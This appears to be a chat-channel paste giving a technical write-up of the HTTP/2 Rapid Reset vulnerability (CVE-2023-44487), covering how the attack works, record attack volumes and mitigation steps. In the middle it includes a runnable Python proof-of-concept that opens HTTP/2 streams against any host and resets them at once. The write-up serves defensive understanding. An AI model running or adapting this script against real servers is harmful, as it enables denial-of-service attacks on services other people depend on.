#securityRapid Reset TCP/IP Vulnerability
9 users
--:-- * you opened a paste from novatechnocrat in #security
-!- posted 2025-03-22 · edited 2026-06-27 · #network-security

Rapid Reset TCP/IP Vulnerability

HTTP/2 Rapid Reset Vulnerability (CVE-2023-44487)

The HTTP/2 Rapid Reset vulnerability, tracked as CVE-2023-44487, represents one of the most significant protocol-level vulnerabilities in recent years. Discovered in August 2023 and publicly disclosed in October 2023, this vulnerability has been exploited to launch some of the largest distributed denial-of-service (DDoS) attacks ever recorded, with request rates reaching an unprecedented 398 million requests per second (RPS)[1][4].

Understanding the Vulnerability

HTTP/2 Protocol Background

HTTP/2 introduced several improvements over HTTP/1.1, including stream multiplexing, which allows multiple streams to be opened over a single TCP connection[6]. This feature significantly improves browsing efficiency as a single connection can be used to fetch multiple resources simultaneously.

To prevent clients from overwhelming servers, HTTP/2 implements a mechanism to limit the number of active concurrent streams, typically set to 100 per connection[8].

The Exploit Mechanism

The Rapid Reset vulnerability exploits the HTTP/2 protocol’s stream cancellation mechanism using RST_STREAM frames. The attack works as follows:

  1. The attacker opens an HTTP/2 connection to the target server
  2. The attacker sends a request frame (HEADERS frame) to initiate a stream
  3. Immediately after sending the request, the attacker sends an RST_STREAM frame to cancel the stream
  4. Since the stream is canceled, it no longer counts against the concurrent stream limit
  5. This process is repeated rapidly, allowing the attacker to send an unlimited number of requests[4][2]

The key insight is that when a client cancels a stream, it instantly gets the ability to open another stream in its place and can send another request immediately. This creates a significant asymmetry: the server must allocate resources and perform work for each request (parsing queries, header decompression, etc.), while the client pays almost no cost for sending and canceling requests[4].

Impact and Real-World Attacks

The impact of this vulnerability has been severe, with major cloud providers reporting unprecedented attack volumes:

  • Google: 398 million RPS
  • Cloudflare: 201 million RPS
  • AWS: 155 million RPS[10][1]

These attacks quadrupled the previous record of 71 million RPS[1]. What makes these attacks particularly concerning is that they were generated using relatively small botnets of approximately 20,000 infected devices[11], highlighting the efficiency of this exploit.

The attacks began in August 2023 and continued through October 2023, targeting various organizations[2]. Due to the nature of the vulnerability, these attacks are non-reflection, non-volumetric, and mostly encrypted, making them less visible to traditional network-based traffic monitoring and DDoS detection systems[11].

Technical Analysis of the Exploit

HTTP/2 State Transitions

In HTTP/2, streams transition through several states:

  1. Idle (initial state)
  2. Open (after HEADERS frame is sent)
  3. Half-closed (after END_STREAM flag is set)
  4. Closed (after RST_STREAM is sent)

Only streams in the “open” or “half-closed” state contribute to the stream concurrency limit. By rapidly cycling streams through these states, attackers can bypass the intended protections[8].

Example Packet Analysis

A Wireshark analysis of the attack shows the following pattern:

  1. Server sends SETTINGS frame advertising maximum stream concurrency (e.g., 100)
  2. Client sends control frames and begins making requests that are rapidly reset
  3. Client sends hundreds of HEADERS frames followed by RST_STREAM frames
  4. Server fails to observe concurrent stream violations due to the rapid cancellations[8]

Exploit Code Example

Below is a simplified Python-based exploit demonstrating the HTTP/2 Rapid Reset attack:

import asyncio
import ssl
import argparse
from h2.connection import H2Connection
from h2.events import ResponseReceived, DataReceived, StreamEnded
from h2.exceptions import ProtocolError

# Requires: h2 library (pip install h2)
# Usage: python script.py --host example.com --port 443 --path / --num_requests 100 --use_ssl

class RapidResetTester:
    def __init__(self, host, port, path, num_requests, use_ssl):
        self.host = host
        self.port = port
        self.path = path
        self.num_requests = num_requests
        self.use_ssl = use_ssl
        self.conn = H2Connection()
        self.vulnerable = False

    async def test_vulnerability(self):
        try:
            if self.use_ssl:
                ssl_context = ssl.create_default_context()
                ssl_context.check_hostname = False
                ssl_context.verify_mode = ssl.CERT_NONE
                reader, writer = await asyncio.open_connection(self.host, self.port, ssl=ssl_context)
            else:
                reader, writer = await asyncio.open_connection(self.host, self.port)

            self.conn.initiate_connection()
            writer.write(self.conn.data_to_send())
            await writer.drain()

            for _ in range(self.num_requests):
                stream_id = self.conn.get_next_available_stream_id()
                self.conn.send_headers(
                    stream_id=stream_id,
                    headers=[
                        (':method', 'GET'),
                        (':path', self.path),
                        (':authority', self.host),
                        (':scheme', 'https' if self.use_ssl else 'http'),
                    ],
                    end_stream=False
                )
                writer.write(self.conn.data_to_send())
                await writer.drain()

                # Immediately reset the stream
                self.conn.reset_stream(stream_id)
                writer.write(self.conn.data_to_send())
                await writer.drain()

            # Check for server response
            data = await reader.read(1024)
            events = self.conn.receive_data(data)
            for event in events:
                if isinstance(event, (ResponseReceived, DataReceived, StreamEnded)):
                    self.vulnerable = False
                    return

            self.vulnerable = True

        except ProtocolError:
            self.vulnerable = True
        except Exception as e:
            print(f"An error occurred: {e}")
        finally:
            writer.close()
            await writer.wait_closed()

    def get_result(self):
        return self.vulnerable

async def main(args):
    tester = RapidResetTester(args.host, args.port, args.path, args.num_requests, args.use_ssl)
    await tester.test_vulnerability()
    
    if tester.get_result():
        print(f"The server at {args.host}:{args.port} appears to be vulnerable to the HTTP/2 Rapid Reset attack.")
    else:
        print(f"The server at {args.host}:{args.port} does not appear to be vulnerable to the HTTP/2 Rapid Reset attack.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Test for HTTP/2 Rapid Reset vulnerability")
    parser.add_argument("--host", required=True, help="Target host")
    parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)")
    parser.add_argument("--path", default="/", help="Path to request (default: /)")
    parser.add_argument("--num_requests", type=int, default=100, help="Number of requests to send (default: 100)")
    parser.add_argument("--use_ssl", action="store_true", help="Use SSL/TLS")
    args = parser.parse_args()

    asyncio.run(main(args))

This code demonstrates how an attacker can open streams and immediately reset them, bypassing the concurrent stream limit and potentially overwhelming the server[9][5].

Mitigation Strategies

Organizations should implement a multi-layered approach to mitigate this vulnerability:

1. Patch HTTP/2 Servers

Update all HTTP/2-enabled systems with the latest patches. Affected software includes:

  • nghttp2 (update to version 1.57.0 or later)
  • Netty (update to version 4.1.100 or later)
  • Envoy (update to patched versions)
  • Eclipse Jetty (update to patched versions)
  • Caddy Server (update to version 2.7.5 or later)[12][3]

2. Connection Tracking and Management

  • Monitor connection statistics, including active streams, stream creation rate, and cancellation rate
  • Implement business logic to assess the usefulness of each connection
  • Close connections displaying abusive patterns (e.g., high cancellation rates)[6]

3. Rate Limiting

  • Implement per-source rate limiting to prevent a single client from opening excessive HTTP streams
  • Apply rate limiting to IPs listed on maintained block lists
  • Use adaptive throttling to dynamically adjust rate limits based on attack severity[11][7]

4. Server Configuration

For Apache servers:

  • Configure MaxRequestWorkers and MaxConnectionsPerChild directives
  • Upgrade libnghttp2 dependency to version 1.57.0 or later

For Nginx servers:

  • Verify that the default keepalive limit (keepalive_requests) is not substantially increased
  • Configure http2_max_concurrent_streams directive appropriately
  • Rebuild Nginx binaries from the latest codebase if using non-default configurations[6]

5. Use HTTP/2 Capable Proxies or Application Delivery Controllers

  • Deploy proxies or ADCs that can handle HTTP/2 requests on behalf of backend servers
  • Configure these systems to parse and validate requests, monitor HEADER and RST_STREAM frame counters, and set appropriate limits[11]

6. Connection Termination

When under attack, forcefully terminate suspicious connections using GOAWAY frames or immediate connection closure[7].

Conclusion

The HTTP/2 Rapid Reset vulnerability demonstrates the ongoing cat-and-mouse game between threat actors and security professionals. By exploiting a fundamental feature of the HTTP/2 protocol, attackers have been able to launch unprecedented DDoS attacks with relatively small botnets.

Organizations must stay vigilant by applying patches promptly, implementing proper rate limiting and connection tracking mechanisms, and deploying specialized DDoS protection solutions. As this vulnerability continues to be exploited in the wild, a multi-layered defense approach remains the most effective strategy for mitigation.

Citations: [1] https://fieldeffect.com/blog/rapid-reset-ddos-technique-new-request-per-second-record [2] https://www.invicti.com/blog/web-security/rapid-reset-http2-vulnerability-when-streaming-leads-to-flooding/ [3] https://www.indusface.com/blog/http-2-rapid-reset-attack-vulnerability/ [4] https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack [5] https://github.com/bcdannyboy/CVE-2023-44487 [6] https://qrator.net/blog/details/the-top-4-ways-to-mitigate-http2-rapid-reset-cve-2 [7] https://www.openlogic.com/blog/cve-2023-44487-http-2-rapid-reset [8] https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ [9] https://github.com/studiogangster/CVE-2023-44487 [10] https://blog.qualys.com/vulnerabilities-threat-research/2023/10/10/cve-2023-44487-http-2-rapid-reset-attack [11] https://www.a10networks.com/blog/protecting-systems-from-the-new-http-2-rapid-reset-vulnerability/ [12] https://cyrisk.com/security/mitigation-instructions-for-cve-2023-44487/ [13] https://blog.talosintelligence.com/http-2-rapid-reset-ddos-attacks/ [14] https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products [15] https://www.wired.com/story/http-2-rapid-reset-flaw/ [16] https://www.darkreading.com/cloud-security/internet-wide-zero-day-bug-fuels-largest-ever-ddos-event [17] https://blog.cloudflare.com/zero-day-rapid-reset-http2-record-breaking-ddos-attack/ [18] https://www.cisa.gov/news-events/alerts/2023/10/10/http2-rapid-reset-vulnerability-cve-2023-44487 [19] https://www.vicarius.io/vsociety/posts/rapid-reset-cve-2023-44487-dos-in-http2-understanding-the-root-cause [20] https://www.netscaler.com/blog/news/how-to-mitigate-the-http-2-rapid-reset-vulnerability-on-netscaler/ [21] https://www.youtube.com/watch?v=gBgug2iPS5s [22] https://www.youtube.com/watch?v=zvNnqblGGs0 [23] https://www.imperva.com/blog/http-2-rapid-reset-mitigation-with-imperva-waf/ [24] https://access.redhat.com/security/cve/cve-2023-44487 [25] https://www.fortiguard.com/psirt/FG-IR-23-397 [26] https://gist.github.com/adulau/7c2bfb8e9cdbe4b35a5e131c66a0c088 [27] https://nvd.nist.gov/vuln/detail/cve-2023-44487 [28] https://vuldb.com/?id.241694 [29] https://snyk.io/blog/find-fix-http-2-rapid-reset-zero-day-vulnerability-cve-2023-44487/ [30] https://eventussecurity.com/blog/cve-2023-44487-http-2-rapid-reset-attack-simulation-and-mitigation-step-by-step/ [31] https://www.cloudflare.com/h2/ [32] https://www.akamai.com/blog/security/akamai-protects-customers-http2-rapid-reset-ddos-attacks [33] https://github.com/grpc/grpc-java/issues/10726 [34] https://www.reddit.com/r/googlecloud/comments/176igmp/cve202344487_http2_rapid_reset_ddos/ [35] https://www.imperva.com/blog/protecting-against-http-2-rapid-reset/ [36] https://www.3cx.com/community/threads/http-2-rapid-reset-vulnerability-affecting-nginx-cve-2023-44487.123101/ [37] https://support.citrix.com/s/article/CTX582159-how-to-mitigate-the-http2-rapid-reset-vulnerability-cve202344487-on-netscaler?language=en_US [38] https://www.cisco.com/c/en/us/support/docs/video/unified-conferencing-telepresence/221189-verify-http-2-rapid-reset-attack-vulnera.html [39] https://github.com/threatlabindonesia/CVE-2023-44487-HTTP-2-Rapid-Reset-Exploit-PoC [40] https://pentest-tools.com/network-vulnerability-scanning/cve-2023-44487-scanner-rapid-reset-vulnerability

<< /join #articles
[novatechnocrat]type a message, or /help